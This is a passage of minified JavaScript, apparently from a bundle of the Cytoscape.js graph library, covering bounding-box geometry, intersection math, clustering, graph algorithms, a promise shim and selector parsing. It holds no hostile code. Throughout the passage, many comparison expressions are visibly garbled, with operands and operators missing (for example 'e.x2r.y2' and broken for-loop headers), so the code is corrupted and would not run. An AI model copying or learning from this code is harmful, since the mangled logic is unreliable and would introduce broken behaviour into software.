n=r.x-e.x,i=r.y-e.y;return n*n+i*i},"sqdist"),Bze=o(function(e){for(var r=e.length,n=0,i=0;i=e.x1&&e.y2>=e.y1)return{x1:e.x1,y1:e.y1,x2:e.x2,y2:e.y2,w:e.x2-e.x1,h:e.y2-e.y1};if(e.w!=null&&e.h!=null&&e.w>=0&&e.h>=0)return{x1:e.x1,y1:e.y1,x2:e.x1+e.w,y2:e.y1+e.h,w:e.w,h:e.h}}},"makeBoundingBox"),$ze=o(function(e){return{x1:e.x1,x2:e.x2,w:e.w,y1:e.y1,y2:e.y2,h:e.h}},"copyBoundingBox"),zze=o(function(e){e.x1=1/0,e.y1=1/0,e.x2=-1/0,e.y2=-1/0,e.w=0,e.h=0},"clearBoundingBox"),Gze=o(function(e,r){e.x1=Math.min(e.x1,r.x1),e.x2=Math.max(e.x2,r.x2),e.w=e.x2-e.x1,e.y1=Math.min(e.y1,r.y1),e.y2=Math.max(e.y2,r.y2),e.h=e.y2-e.y1},"updateBoundingBox"),Cue=o(function(e,r,n){e.x1=Math.min(e.x1,r),e.x2=Math.max(e.x2,r),e.w=e.x2-e.x1,e.y1=Math.min(e.y1,n),e.y2=Math.max(e.y2,n),e.h=e.y2-e.y1},"expandBoundingBoxByPoint"),Fk=o(function(e){var r=arguments.length>1&&arguments[1]!==void 0?arguments[1]:0;return e.x1-=r,e.x2+=r,e.y1-=r,e.y2+=r,e.w=e.x2-e.x1,e.h=e.y2-e.y1,e},"expandBoundingBox"),$k=o(function(e){var r=arguments.length>1&&arguments[1]!==void 0?arguments[1]:[0],n,i,a,s;if(r.length===1)n=i=a=s=r[0];else if(r.length===2)n=a=r[0],s=i=r[1];else if(r.length===4){var l=_i(r,4);n=l[0],i=l[1],a=l[2],s=l[3]}return e.x1-=s,e.x2+=i,e.y1-=n,e.y2+=a,e.w=e.x2-e.x1,e.h=e.y2-e.y1,e},"expandBoundingBoxSides"),ele=o(function(e,r){e.x1=r.x1,e.y1=r.y1,e.x2=r.x2,e.y2=r.y2,e.w=e.x2-e.x1,e.h=e.y2-e.y1},"assignBoundingBox"),vI=o(function(e,r){return!(e.x1>r.x2||r.x1>e.x2||e.x2r.y2||r.y1>e.y2)},"boundingBoxesIntersect"),yf=o(function(e,r,n){return e.x1<=r&&r<=e.x2&&e.y1<=n&&n<=e.y2},"inBoundingBox"),tle=o(function(e,r){return yf(e,r.x,r.y)},"pointInBoundingBox"),Aue=o(function(e,r){return yf(e,r.x1,r.y1)&&yf(e,r.x2,r.y2)},"boundingBoxInBoundingBox"),Vze=(LN=Math.hypot)!==null&&LN!==void 0?LN:function(t,e){return Math.sqrt(t*t+e*e)};o(Uze,"inflatePolygon");o(Hze,"miterBox");_ue=o(function(e,r,n,i,a,s,l){var u=arguments.length>7&&arguments[7]!==void 0?arguments[7]:"auto",h=u==="auto"?kf(a,s):u,f=a/2,d=s/2;h=Math.min(h,f,d);var p=h!==f,m=h!==d,g;if(p){var y=n-f+h-l,v=i-d-l,x=n+f-h+l,b=v;if(g=vf(e,r,n,i,y,v,x,b,!1),g.length>0)return g}if(m){var T=n+f+l,S=i-d+h-l,w=T,k=i+d-h+l;if(g=vf(e,r,n,i,T,S,w,k,!1),g.length>0)return g}if(p){var A=n-f+h-l,C=i+d+l,R=n+f-h+l,I=C;if(g=vf(e,r,n,i,A,C,R,I,!1),g.length>0)return g}if(m){var L=n-f-l,E=i-d+h-l,D=L,_=i+d-h+l;if(g=vf(e,r,n,i,L,E,D,_,!1),g.length>0)return g}var O;{var M=n-f+h,P=i-d+h;if(O=Z2(e,r,n,i,M,P,h+l),O.length>0&&O[0]<=M&&O[1]<=P)return[O[0],O[1]]}{var B=n+f-h,F=i-d+h;if(O=Z2(e,r,n,i,B,F,h+l),O.length>0&&O[0]>=B&&O[1]<=F)return[O[0],O[1]]}{var G=n+f-h,$=i+d-h;if(O=Z2(e,r,n,i,G,$,h+l),O.length>0&&O[0]>=G&&O[1]>=$)return[O[0],O[1]]}{var U=n-f+h,j=i+d-h;if(O=Z2(e,r,n,i,U,j,h+l),O.length>0&&O[0]<=U&&O[1]>=j)return[O[0],O[1]]}return[]},"roundRectangleIntersectLine"),qze=o(function(e,r,n,i,a,s,l){var u=l,h=Math.min(n,a),f=Math.max(n,a),d=Math.min(i,s),p=Math.max(i,s);return h-u<=e&&e<=f+u&&d-u<=r&&r<=p+u},"inLineVicinity"),Wze=o(function(e,r,n,i,a,s,l,u,h){var f={x1:Math.min(n,l,a)-h,x2:Math.max(n,l,a)+h,y1:Math.min(i,u,s)-h,y2:Math.max(i,u,s)+h};return!(ef.x2||rf.y2)},"inBezierVicinity"),Yze=o(function(e,r,n,i){n-=i;var a=r*r-4*e*n;if(a<0)return[];var s=Math.sqrt(a),l=2*e,u=(-r+s)/l,h=(-r-s)/l;return[u,h]},"solveQuadratic"),Xze=o(function(e,r,n,i,a){var s=1e-5;e===0&&(e=s),r/=e,n/=e,i/=e;var l,u,h,f,d,p,m,g;if(u=(3*n-r*r)/9,h=-(27*i)+r*(9*n-2*(r*r)),h/=54,l=u*u*u+h*h,a[1]=0,m=r/3,l>0){d=h+Math.sqrt(l),d=d<0?-Math.pow(-d,1/3):Math.pow(d,1/3),p=h-Math.sqrt(l),p=p<0?-Math.pow(-p,1/3):Math.pow(p,1/3),a[0]=-m+d+p,m+=(d+p)/2,a[4]=a[2]=-m,m=Math.sqrt(3)*(-p+d)/2,a[3]=m,a[5]=-m;return}if(a[5]=a[3]=0,l===0){g=h<0?-Math.pow(-h,1/3):Math.pow(h,1/3),a[0]=-m+2*g,a[4]=a[2]=-(g+m);return}u=-u,f=u*u*u,f=Math.acos(h/Math.sqrt(f)),g=2*Math.sqrt(u),a[0]=-m+g*Math.cos(f/3),a[2]=-m+g*Math.cos((f+2*Math.PI)/3),a[4]=-m+g*Math.cos((f+4*Math.PI)/3)},"solveCubic"),jze=o(function(e,r,n,i,a,s,l,u){var h=1*n*n-4*n*a+2*n*l+4*a*a-4*a*l+l*l+i*i-4*i*s+2*i*u+4*s*s-4*s*u+u*u,f=9*n*a-3*n*n-3*n*l-6*a*a+3*a*l+9*i*s-3*i*i-3*i*u-6*s*s+3*s*u,d=3*n*n-6*n*a+n*l-n*e+2*a*a+2*a*e-l*e+3*i*i-6*i*s+i*u-i*r+2*s*s+2*s*r-u*r,p=1*n*a-n*n+n*e-a*e+i*s-i*i+i*r-s*r,m=[];Xze(h,f,d,p,m);for(var g=1e-7,y=[],v=0;v<6;v+=2)Math.abs(m[v+1])=0&&m[v]<=1&&y.push(m[v]);y.push(1),y.push(0);for(var x=-1,b,T,S,w=0;w=0?Sh?(e-a)*(e-a)+(r-s)*(r-s):f-p},"sqdistToFiniteLine"),Hs=o(function(e,r,n){for(var i,a,s,l,u,h=0,f=0;f=e&&e>=s||i<=e&&e<=s)u=(e-i)/(s-i)*(l-a)+a,u>r&&h++;else continue;return h%2!==0},"pointInsidePolygonPoints"),Vu=o(function(e,r,n,i,a,s,l,u,h){var f=new Array(n.length),d;u[0]!=null?(d=Math.atan(u[1]/u[0]),u[0]<0?d=d+Math.PI/2:d=-d-Math.PI/2):d=u;for(var p=Math.cos(-d),m=Math.sin(-d),g=0;g0){var v=Jk(f,-h);y=Zk(v)}else y=f;return Hs(e,r,y)},"pointInsidePolygon"),Qze=o(function(e,r,n,i,a,s,l,u){for(var h=new Array(n.length*2),f=0;f=0&&v<=1&&b.push(v),x>=0&&x<=1&&b.push(x),b.length===0)return[];var T=b[0]*u[0]+e,S=b[0]*u[1]+r;if(b.length>1){if(b[0]==b[1])return[T,S];var w=b[1]*u[0]+e,k=b[1]*u[1]+r;return[T,S,w,k]}else return[T,S]},"intersectLineCircle"),RN=o(function(e,r,n){return r<=e&&e<=n||n<=e&&e<=r?e:e<=r&&r<=n||n<=r&&r<=e?r:n},"midOfThree"),vf=o(function(e,r,n,i,a,s,l,u,h){var f=e-a,d=n-e,p=l-a,m=r-s,g=i-r,y=u-s,v=p*m-y*f,x=d*m-g*f,b=y*d-p*g;if(b!==0){var T=v/b,S=x/b,w=.001,k=0-w,A=1+w;return k<=T&&T<=A&&k<=S&&S<=A?[e+T*d,r+T*g]:h?[e+T*d,r+T*g]:[]}else return v===0||x===0?RN(e,n,l)===l?[l,u]:RN(e,n,a)===a?[a,s]:RN(a,l,n)===n?[n,i]:[]:[]},"finiteLinesIntersect"),Jze=o(function(e,r,n,i,a){var s=[],l=i/2,u=a/2,h=r,f=n;s.push({x:h+l*e[0],y:f+u*e[1]});for(var d=1;d0){var y=Jk(d,-u);m=Zk(y)}else m=d}else m=n;for(var v,x,b,T,S=0;S2){for(var g=[f[0],f[1]],y=Math.pow(g[0]-e,2)+Math.pow(g[1]-r,2),v=1;vf&&(f=S)},"set"),get:o(function(T){return h[T]},"get")},p=0;p0?O=_.edgesTo(D)[0]:O=D.edgesTo(_)[0];var M=i(O);D=D.id(),A[D]>A[L]+M&&(A[D]=A[L]+M,C.nodes.indexOf(D)<0?C.push(D):C.updateItem(D),k[D]=0,w[D]=[]),A[D]==A[L]+M&&(k[D]=k[D]+k[L],w[D].push(L))}else for(var P=0;P0;){for(var $=S.pop(),U=0;U0&&l.push(n[u]);l.length!==0&&a.push(i.collection(l))}return a},"assign"),pGe=o(function(e,r){for(var n=0;n5&&arguments[5]!==void 0?arguments[5]:yGe,l=i,u,h,f=0;f=2?q2(e,r,n,0,sle,vGe):q2(e,r,n,0,ale)},"euclidean"),squaredEuclidean:o(function(e,r,n){return q2(e,r,n,0,sle)},"squaredEuclidean"),manhattan:o(function(e,r,n){return q2(e,r,n,0,ale)},"manhattan"),max:o(function(e,r,n){return q2(e,r,n,-1/0,xGe)},"max")};cg["squared-euclidean"]=cg.squaredEuclidean;cg.squaredeuclidean=cg.squaredEuclidean;o(fE,"clusteringDistance");bGe=xa({k:2,m:2,sensitivityThreshold:1e-4,distance:"euclidean",maxIterations:10,attributes:[],testMode:!1,testCentroids:null}),bI=o(function(e){return bGe(e)},"setOptions"),eE=o(function(e,r,n,i,a){var s=a!=="kMedoids",l=s?function(d){return n[d]}:function(d){return i[d](n)},u=o(function(p){return i[p](r)},"getQ"),h=n,f=r;return fE(e,i.length,l,u,h,f)},"getDist"),MN=o(function(e,r,n){for(var i=n.length,a=new Array(i),s=new Array(i),l=new Array(r),u=null,h=0;hn)return!1}return!0},"haveMatricesConverged"),kGe=o(function(e,r,n){for(var i=0;il&&(l=r[h][f],u=f);a[u].push(e[h])}for(var d=0;d=a.threshold||a.mode==="dendrogram"&&e.length===1)return!1;var g=r[s],y=r[i[s]],v;a.mode==="dendrogram"?v={left:g,right:y,key:g.key}:v={value:g.value.concat(y.value),key:g.key},e[g.index]=v,e.splice(y.index,1),r[g.key]=v;for(var x=0;xn[y.key][b.key]&&(u=n[y.key][b.key])):a.linkage==="max"?(u=n[g.key][b.key],n[g.key][b.key]0&&i.push(a);return i},"findExemplars"),fle=o(function(e,r,n){for(var i=[],a=0;al&&(s=h,l=r[a*e+h])}s>0&&i.push(s)}for(var f=0;fh&&(u=f,h=d)}n[a]=s[u]}return i=fle(e,r,n),i},"assign"),dle=o(function(e){for(var r=this.cy(),n=this.nodes(),i=OGe(e),a={},s=0;s=L?(E=L,L=_,D=O):_>E&&(E=_);for(var M=0;M0?1:0;A[R%i.minIterations*l+U]=j,$+=j}if($>0&&(R>=i.minIterations-1||R==i.maxIterations-1)){for(var te=0,Y=0;Y1||k>1)&&(l=!0),d[T]=[],b.outgoers().forEach(function(C){C.isEdge()&&d[T].push(C.id())})}else p[T]=[void 0,b.target().id()]}):s.forEach(function(b){var T=b.id();if(b.isNode()){var S=b.degree(!0);S%2&&(u?h?l=!0:h=T:u=T),d[T]=[],b.connectedEdges().forEach(function(w){return d[T].push(w.id())})}else p[T]=[b.source().id(),b.target().id()]});var m={found:!1,trail:void 0};if(l)return m;if(h&&u)if(a){if(f&&h!=f)return m;f=h}else{if(f&&h!=f&&u!=f)return m;f||(f=h)}else f||(f=s[0].id());var g=o(function(T){for(var S=T,w=[T],k,A,C;d[S].length;)k=d[S].shift(),A=p[k][0],C=p[k][1],S!=C?(d[C]=d[C].filter(function(R){return R!=k}),S=C):!a&&S!=A&&(d[A]=d[A].filter(function(R){return R!=k}),S=A),w.unshift(k),w.unshift(S);return w},"walk"),y=[],v=[];for(v=g(f);v.length!=1;)d[v[0]].length==0?(y.unshift(s.getElementById(v.shift())),y.unshift(s.getElementById(v.shift()))):v=g(v.shift()).concat(v);y.unshift(s.getElementById(v.shift()));for(var x in d)if(d[x].length)return m;return m.found=!0,m.trail=this.spawn(y,!0),m},"hierholzer")},_k=o(function(){var e=this,r={},n=0,i=0,a=[],s=[],l={},u=o(function(p,m){for(var g=s.length-1,y=[],v=e.spawn();s[g].x!=p||s[g].y!=m;)y.push(s.pop().edge),g--;y.push(s.pop().edge),y.forEach(function(x){var b=x.connectedNodes().intersection(e);v.merge(x),b.forEach(function(T){var S=T.id(),w=T.connectedEdges().intersection(e);v.merge(T),r[S].cutVertex?v.merge(w.filter(function(k){return k.isLoop()})):v.merge(w)})}),a.push(v)},"buildComponent"),h=o(function(p,m,g){p===g&&(i+=1),r[m]={id:n,low:n++,cutVertex:!1};var y=e.getElementById(m).connectedEdges().intersection(e);if(y.size()===0)a.push(e.spawn(e.getElementById(m)));else{var v,x,b,T;y.forEach(function(S){v=S.source().id(),x=S.target().id(),b=v===m?x:v,b!==g&&(T=S.id(),l[T]||(l[T]=!0,s.push({x:m,y:b,edge:S})),b in r?r[m].low=Math.min(r[m].low,r[b].id):(h(p,b,m),r[m].low=Math.min(r[m].low,r[b].low),r[m].id<=r[b].low&&(r[m].cutVertex=!0,u(m,b))))})}},"biconnectedSearch");e.forEach(function(d){if(d.isNode()){var p=d.id();p in r||(i=0,h(p,p),r[p].cutVertex=i>1)}});var f=Object.keys(r).filter(function(d){return r[d].cutVertex}).map(function(d){return e.getElementById(d)});return{cut:e.spawn(f),components:a}},"hopcroftTarjanBiconnected"),UGe={hopcroftTarjanBiconnected:_k,htbc:_k,htb:_k,hopcroftTarjanBiconnectedComponents:_k},Dk=o(function(){var e=this,r={},n=0,i=[],a=[],s=e.spawn(e),l=o(function(h){a.push(h),r[h]={index:n,low:n++,explored:!1};var f=e.getElementById(h).connectedEdges().intersection(e);if(f.forEach(function(y){var v=y.target().id();v!==h&&(v in r||l(v),r[v].explored||(r[h].low=Math.min(r[h].low,r[v].low)))}),r[h].index===r[h].low){for(var d=e.spawn();;){var p=a.pop();if(d.merge(e.getElementById(p)),r[p].low=r[h].index,r[p].explored=!0,p===h)break}var m=d.edgesWith(d),g=d.merge(m);i.push(g),s=s.difference(g)}},"stronglyConnectedSearch");return e.forEach(function(u){if(u.isNode()){var h=u.id();h in r||l(h)}}),{cut:s,components:i}},"tarjanStronglyConnected"),HGe={tarjanStronglyConnected:Dk,tsc:Dk,tscc:Dk,tarjanStronglyConnectedComponents:Dk},Oue={};[sx,bze,Tze,kze,Sze,Aze,Lze,nGe,ag,sg,WM,gGe,DGe,MGe,zGe,VGe,UGe,HGe].forEach(function(t){ir(Oue,t)});Pue=0,Bue=1,Fue=2,Il=o(function(e){if(!(this instanceof Il))return new Il(e);this.id="Thenable/1.0.7",this.state=Pue,this.fulfillValue=void 0,this.rejectReason=void 0,this.onFulfilled=[],this.onRejected=[],this.proxy={then:this.then.bind(this)},typeof e=="function"&&e.call(this,this.fulfill.bind(this),this.reject.bind(this))},"api");Il.prototype={fulfill:o(function(e){return ple(this,Bue,"fulfillValue",e)},"fulfill"),reject:o(function(e){return ple(this,Fue,"rejectReason",e)},"reject"),then:o(function(e,r){var n=this,i=new Il;return n.onFulfilled.push(gle(e,i,"fulfill")),n.onRejected.push(gle(r,i,"reject")),$ue(n),i.proxy},"then")};ple=o(function(e,r,n,i){return e.state===Pue&&(e.state=r,e[n]=i,$ue(e)),e},"deliver"),$ue=o(function(e){e.state===Bue?mle(e,"onFulfilled",e.fulfillValue):e.state===Fue&&mle(e,"onRejected",e.rejectReason)},"execute"),mle=o(function(e,r,n){if(e[r].length!==0){var i=e[r];e[r]=[];var a=o(function(){for(var l=0;l0},"animatedImpl")},"animated"),clearQueue:o(function(){return o(function(){var r=this,n=r.length!==void 0,i=n?r:[r],a=this._private.cy||this;if(!a.styleEnabled())return this;for(var s=0;s0&&this.spawn(i).updateStyle().emit("class"),r},"classes"),addClass:o(function(e){return this.toggleClass(e,!0)},"addClass"),hasClass:o(function(e){var r=this[0];return r!=null&&r._private.classes.has(e)},"hasClass"),toggleClass:o(function(e,r){An(e)||(e=e.match(/\S+/g)||[]);for(var n=this,i=r===void 0,a=[],s=0,l=n.length;s0&&this.spawn(a).updateStyle().emit("class"),n},"toggleClass"),removeClass:o(function(e){return this.toggleClass(e,!1)},"removeClass"),flashClass:o(function(e,r){var n=this;if(r==null)r=250;else if(r===0)return n;return n.addClass(e),setTimeout(function(){n.removeClass(e)},r),n},"flashClass")};zk.className=zk.classNames=zk.classes;Wr={metaChar:"[\\!\\\"\\#\\$\\%\\&\\'\\(\\)\\*\\+\\,\\.\\/\\:\\;\\<\\=\\>\\?\\@\\[\\]\\^\\`\\{\\|\\}\\~]",comparatorOp:"=|\\!=|>|>=|<|<=|\\$=|\\^=|\\*=",boolOp:"\\?|\\!|\\^",string:`"(?:\\\\"|[^"])*"|'(?:\\\\'|[^'])*'`,number:Fi,meta:"degree|indegree|outdegree",separator:"\\s*,\\s*",descendant:"\\s+",child:"\\s+>\\s+",subject:"\\$",group:"node|edge|\\*",directedEdge:"\\s+->\\s+",undirectedEdge:"\\s+<->\\s+"};Wr.variable="(?:[\\w-.]|(?:\\\\"+Wr.metaChar+"))+";Wr.className="(?:[\\w-]|(?:\\\\"+Wr.metaChar+"))+";Wr.value=Wr.string+"|"+Wr.number;Wr.id=Wr.variable;(function(){var t,e,r;for(t=Wr.comparatorOp.split("|"),r=0;r=0)&&e!=="="&&(Wr.comparatorOp+="|\\!"+e)})();xn=o(function(){return{checks:[]}},"newQuery"),zt={GROUP:0,COLLECTION:1,FILTER:2,DATA_COMPARE:3,DATA_EXIST:4,DATA_BOOL:5,META_COMPARE:6,STATE:7,ID:8,CLASS:9,UNDIRECTED_EDGE:10,DIRECTED_EDGE:11,NODE_SOURCE:12,NODE_TARGET:13,NODE_NEIGHBOR:14,CHILD:15,DESCENDANT:16,PARENT:17,ANCESTOR:18,COMPOUND_SPLIT:19,TRUE:20},KM=[{selector:":selected",matches:o(function(e){return e.selected()},"matches")},{selector:":unselected",matches:o(function(e){return!e.selected()},"matches")},{selector:":selectable",matches:o(function(e){return e.selectable()},"matches")},{selector:":unselectable",matches:o(function(e){return!e.selectable()},"matches")},{selector:":locked",matches:o(function(e){return e.locked()},"matches")},{selector:":unlocked",matches:o(function(e){return!e.locked()},"matches")},{selector:":visible",matches:o(function(e){return e.visible()},"matches")},{selector:":hidden",matches:o(function(e){return!e.visible()},"matches")},{selector:":transparent",matches:o(function(e){return e.transparent()},"matches")},{selector:":grabbed",matches:o(function(e){return e.grabbed()},"matches")},{selector:":free",matches:o(function(e){return!e.grabbed()},"matches")},{selector:":removed",matches:o(function(e){return e.removed()},"matches")},{selector:":inside",matches:o(function(e){return!e.removed()},"matches")},{selector:":grabbable",matches:o(function(e){return e.grabbable()},"matches")},{selector:":ungrabbable",matches:o(function(e){return!e.grabbable()},"matches")},{selector:":animated",matches:o(function(e){return e.animated()},"matches")},{selector:":unanimated",matches:o(function(e){return!e.animated()},"matches")},{selector:":parent",matches:o(function(e){return e.isParent()},"matches")},{selector:":childless",matches:o(function(e){return e.isChildless()},"matches")},{selector:":child",matches:o(function(e){return e.isChild()},"matches")},{selector:":orphan",matches:o(function(e){return e.isOrphan()},"matches")},{selector:":nonorphan",matches:o(function(e){return e.isChild()},"matches")},{selector:":compound",matches:o(function(e){return e.isNode()?e.isParent():e.source().isParent()||e.target().isParent()},"matches")},{selector:":loop",matches:o(function(e){return e.isLoop()},"matches")},{selector:":simple",matches:o(function(e){return e.isSimple()},"matches")},{selector:":active",matches:o(function(e){return e.active()},"matches")},{selector:":inactive",matches:o(function(e){return!e.active()},"matches")},{selector:":backgrounding",matches:o(function(e){return e.backgrounding()},"matches")},{selector:":nonbackgrounding",matches:o(function(e){return!e.backgrounding()},"matches")}].sort(function(t,e){return F$e(t.selector,e.selector)}),GVe=(function(){for(var t={},e,r=0;r0&&f.edgeCount>0)return hn("The selector `"+e+"` is invalid because it uses both a compound selector and an edge selector"),!1;if(f.edgeCount>1)return hn("The selector `"+e+"` is invalid because it uses multiple edge selectors"),!1;f.edgeCount===1&&hn("The selector `"+e+"` is deprecated. Edge selectors do not take effect on changes to source and target nodes after an edge is added, for performance reasons. Use a class or data selector on edges instead, updating the class or data of an edge when your app detects a change in source or target nodes.")}return!0},"parse"),YVe=o(function(){if(this.toStringCache!=null)return this.toStringCache;for(var e=o(function(f){return f??""},"clean"),r=o(function(f){return Jt(f)?'"'+f+'"':e(f)},"cleanVal"),n=o(function(f){return" "+f+" "},"space"),i=o(function(f,d){var p=f.type,m=f.value;switch(p){case zt.GROUP:{var g=e(m);return g.substring(0,g.length-1)}case zt.DATA_COMPARE:{var y=f.field,v=f.operator;return"["+y+n(e(v))+r(m)+"]"}case zt.DATA_BOOL:{var x=f.operator,b=f.field;return"["+e(x)+b+"]"}case zt.DATA_EXIST:{var T=f.field;return"["+T+"]"}case zt.META_COMPARE:{var S=f.operator,w=f.field;return"[["+w+n(e(S))+r(m)+"]]"}case zt.STATE:return m;case zt.ID:return"#"+m;case zt.CLASS:return"."+m;case zt.PARENT:case zt.CHILD:return a(f.parent,d)+n(">")+a(f.child,d);case zt.ANCESTOR:case zt.DESCENDANT:return a(f.ancestor,d)+" "+a(f.descendant,d);case zt.COMPOUND_SPLIT:{var k=a(f.left,d),A=a(f.subject,d),C=a(f.right,d);return k+(k.length>0?" ":"")+A+C}case zt.TRUE:return""}},"checkToString"),a=o(function(f,d){return f.checks.reduce(function(p,m,g){return p+(d===f&&g===0?"$":"")+i(m,d)},"")},"queryToString"),s="",l=0;l1&&l=0&&(r=r.replace("!",""),d=!0),r.indexOf("@")>=0&&(r=r.replace("@",""),f=!0),(a||l||f)&&(u=!a&&!s?"":""+e,h=""+n),f&&(e=u=u.toLowerCase(),n=h=h.toLowerCase()),r){case"*=":i=u.indexOf(h)>=0;break;case"$=":i=u.indexOf(h,u.length-h.length)>=0;break;case"^=":i=u.indexOf(h)===0;break;case"=":i=e===n;break;case">":p=!0,i=e>n;break;case">=":p=!0,i=e>=n;break;case"<":p=!0,i=e1&&arguments[1]!==void 0?arguments[1]:!0;return EI(this,t,e,Yue)};o(Xue,"addParent");ug.forEachUp=function(t){var e=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!0;return EI(this,t,e,Xue)};o(tUe,"addParentAndChildren");ug.forEachUpAndDown=function(t){var e=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!0;return EI(this,t,e,tUe)};ug.ancestors=ug.parents;cx=jue={data:un.data({field:"data",bindingEvent:"data",allowBinding:!0,allowSetting:!0,settingEvent:"data",settingTriggersEvent:!0,triggerFnName:"trigger",allowGetting:!0,immutableKeys:{id:!0,source:!0,target:!0,parent:!0},updateStyle:!0}),removeData:un.removeData({field:"data",event:"data",triggerFnName:"trigger",triggerEvent:!0,immutableKeys:{id:!0,source:!0,target:!0,parent:!0},updateStyle:!0}),scratch:un.data({field:"scratch",bindingEvent:"scratch",allowBinding:!0,allowSetting:!0,settingEvent:"scratch",settingTriggersEvent:!0,triggerFnName:"trigger",allowGetting:!0,updateStyle:!0}),removeScratch:un.removeData({field:"scratch",event:"scratch",triggerFnName:"trigger",triggerEvent:!0,updateStyle:!0}),rscratch:un.data({field:"rscratch",allowBinding:!1,allowSetting:!0,settingTriggersEvent:!1,allowGetting:!0}),removeRscratch:un.removeData({field:"rscratch",triggerEvent:!1}),id:o(function(){var e=this[0];if(e)return e._private.data.id},"id")};cx.attr=cx.data;cx.removeAttr=cx.removeData;rUe=jue,yE={};o(RM,"defineDegreeFunction");ir(yE,{degree:RM(function(t,e){return e.source().same(e.target())?2:1}),indegree:RM(function(t,e){return e.target().same(t)?1:0}),outdegree:RM(function(t,e){return e.source().same(t)?1:0})});o(Xm,"defineDegreeBoundsFunction");ir(yE,{minDegree:Xm("degree",function(t,e){return te}),minIndegree:Xm("indegree",function(t,e){return te}),minOutdegree:Xm("outdegree",function(t,e){return te})});ir(yE,{totalDegree:o(function(e){for(var r=0,n=this.nodes(),i=0;i0,p=d;d&&(f=f[0]);var m=p?f.position():{x:0,y:0};r!==void 0?h.position(e,r+m[e]):a!==void 0&&h.position({x:a.x+m.x,y:a.y+m.y})}else{var g=n.position(),y=l?n.parent():null,v=y&&y.length>0,x=v;v&&(y=y[0]);var b=x?y.position():{x:0,y:0};return a={x:g.x-b.x,y:g.y-b.y},e===void 0?a:a[e]}else if(!s)return;return this},"relativePosition")};Ml.modelPosition=Ml.point=Ml.position;Ml.modelPositions=Ml.points=Ml.positions;Ml.renderedPoint=Ml.renderedPosition;Ml.relativePoint=Ml.relativePosition;nUe=Kue;og=Df={};Df.renderedBoundingBox=function(t){var e=this.boundingBox(t),r=this.cy(),n=r.zoom(),i=r.pan(),a=e.x1*n+i.x,s=e.x2*n+i.x,l=e.y1*n+i.y,u=e.y2*n+i.y;return{x1:a,x2:s,y1:l,y2:u,w:s-a,h:u-l}};Df.dirtyCompoundBoundsCache=function(){var t=arguments.length>0&&arguments[0]!==void 0?arguments[0]:!1,e=this.cy();return!e.styleEnabled()||!e.hasCompoundNodes()?this:(this.forEachUp(function(r){if(r.isParent()){var n=r._private;n.compoundBoundsClean=!1,n.bbCache=null,t||r.emitAndNotify("bounds")}}),this)};Df.updateCompoundBounds=function(){var t=arguments.length>0&&arguments[0]!==void 0?arguments[0]:!1,e=this.cy();if(!e.styleEnabled()||!e.hasCompoundNodes())return this;if(!t&&e.batching())return this;function r(s){if(!s.isParent())return;var l=s._private,u=s.children(),h=s.pstyle("compound-sizing-wrt-labels").value==="include",f={width:{val:s.pstyle("min-width").pfValue,left:s.pstyle("min-width-bias-left"),right:s.pstyle("min-width-bias-right")},height:{val:s.pstyle("min-height").pfValue,top:s.pstyle("min-height-bias-top"),bottom:s.pstyle("min-height-bias-bottom")}},d=u.boundingBox({includeLabels:h,includeOverlays:!1,useCache:!1}),p=l.position;(d.w===0||d.h===0)&&(d={w:s.pstyle("width").pfValue,h:s.pstyle("height").pfValue},d.x1=p.x-d.w/2,d.x2=p.x+d.w/2,d.y1=p.y-d.h/2,d.y2=p.y+d.h/2);function m(R,I,L){var E=0,D=0,_=I+L;return R>0&&_>0&&(E=I/_*R,D=L/_*R),{biasDiff:E,biasComplementDiff:D}}o(m,"computeBiasValues");function g(R,I,L,E){if(L.units==="%")switch(E){case"width":return R>0?L.pfValue*R:0;case"height":return I>0?L.pfValue*I:0;case"average":return R>0&&I>0?L.pfValue*(R+I)/2:0;case"min":return R>0&&I>0?R>I?L.pfValue*I:L.pfValue*R:0;case"max":return R>0&&I>0?R>I?L.pfValue*R:L.pfValue*I:0;default:return 0}else return L.units==="px"?L.pfValue:0}o(g,"computePaddingValues");var y=f.width.left.value;f.width.left.units==="px"&&f.width.val>0&&(y=y*100/f.width.val);var v=f.width.right.value;f.width.right.units==="px"&&f.width.val>0&&(v=v*100/f.width.val);var x=f.height.top.value;f.height.top.units==="px"&&f.height.val>0&&(x=x*100/f.height.val);var b=f.height.bottom.value;f.height.bottom.units==="px"&&f.height.val>0&&(b=b*100/f.height.val);var T=m(f.width.val-d.w,y,v),S=T.biasDiff,w=T.biasComplementDiff,k=m(f.height.val-d.h,x,b),A=k.biasDiff,C=k.biasComplementDiff;l.autoPadding=g(d.w,d.h,s.pstyle("padding"),s.pstyle("padding-relative-to").value),l.autoWidth=Math.max(d.w,f.width.val),p.x=(-S+d.x1+d.x2+w)/2,l.autoHeight=Math.max(d.h,f.height.val),p.y=(-A+d.y1+d.y2+C)/2}o(r,"update");for(var n=0;ne.x2?i:e.x2,e.y1=ne.y2?a:e.y2,e.w=e.x2-e.x1,e.h=e.y2-e.y1)},"updateBounds"),mf=o(function(e,r){return r==null?e:Nl(e,r.x1,r.y1,r.x2,r.y2)},"updateBoundsFromBox"),W2=o(function(e,r,n){return Us(e,r,n)},"prefixedProperty"),Lk=o(function(e,r,n){if(!r.cy().headless()){var i=r._private,a=i.rstyle,s=a.arrowWidth/2,l=r.pstyle(n+"-arrow-shape").value,u,h;if(l!=="none"){n==="source"?(u=a.srcX,h=a.srcY):n==="target"?(u=a.tgtX,h=a.tgtY):(u=a.midX,h=a.midY);var f=i.arrowBounds=i.arrowBounds||{},d=f[n]=f[n]||{};d.x1=u-s,d.y1=h-s,d.x2=u+s,d.y2=h+s,d.w=d.x2-d.x1,d.h=d.y2-d.y1,Fk(d,1),Nl(e,d.x1,d.y1,d.x2,d.y2)}}},"updateBoundsFromArrow"),NM=o(function(e,r,n){if(!r.cy().headless()){var i;n?i=n+"-":i="";var a=r._private,s=a.rstyle,l=r.pstyle(i+"label").strValue;if(l){var 